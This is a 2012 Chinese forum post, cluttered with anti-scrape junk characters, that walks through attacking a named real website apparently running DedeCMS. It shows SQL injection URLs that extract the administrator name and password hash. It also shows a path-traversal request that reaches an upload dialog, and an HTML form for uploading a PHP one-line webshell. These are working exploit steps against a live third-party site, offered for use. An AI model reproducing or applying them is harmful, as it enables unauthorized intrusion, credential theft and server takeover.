①注入漏洞。
& [% |. Y. e2 U8 O1 ^ @- R$ m这站 http://www.political-security.com/
3 O' G( e8 w! @% f# n首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
. Y! \7 f9 v9 G' Bwww.political-security.com/data/mysql_error_trace.inc 爆后台
4 A$ L W9 d/ d4 l, F2 z然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
# H2 z( \, m# x7 l" L$ a: S+ t然后写上语句 0 \5 U3 Y. a6 e2 l" |1 ?
查看管理员帐号+ S6 @7 H3 e: v- `
http://www.political-security.co ... &membergroup=@`5 b- ?5 Y. H" o: G# m7 }$ |
9 I# x+ l. z# L! {& W% n: y
admin 0 H5 P; n, B' z
; A) F$ k& W8 J
查看管理员密码
. y {# v6 Q4 W http://www.political-security.co ... &membergroup=@`3 m3 }/ K2 p3 C. p, m" d
- K+ d ^" j% g" G( R( D! M8d29b1ef9f8c5a5af429. F" j/ G* N% }8 J& w
% h/ y, C- w; m& T: G) @0 ]查看管理员密码1 q& t% F+ o2 X$ r
4 I3 n$ _- A/ D2 m$ m' O$ K, V得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5, U- N+ p) s5 U6 z( _
6 r( O+ D1 m/ j" x; C6 I1 t8 } f8d2
' \% x! v/ k$ |4 e6 `. c+ Y9b1ef9f8c5a5af420 S8 k* j' i6 x1 I, S5 }6 H- C9 a
9
! p0 d# D/ k5 t7 @+ F2 |! I
3 O: n$ z+ d/ a" U5 ?cmd5没解出来 只好测试第二个方法; v+ p8 M7 K; q( [. b: I
: B/ _* a4 s3 Q! Q4 n: A0 l! e
& E1 Z: G }; v5 y* y* ^②上传漏洞：
. ^- C( D; l! w0 Y( C4 r- S% G6 {1 T# {" u. j! a
只要登陆会员中心，然后访问页面链接
% T% H6 V7 q! {“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”
6 S, ~ P. W2 ]* T
0 z L- ]. w& A8 |0 x8 W如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”* ?4 P5 O+ X6 _* M$ v* w
" M( M* H$ _: E, u于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm& s7 p& a. _1 L, W: V
; r( z2 N* w* Q4 U! n6 a/ K$ b
<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>4 b# ?0 [/ h$ l9 m0 k) w" a# q
或者
1 F9 C, h n% n* c5 d( J8 _即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对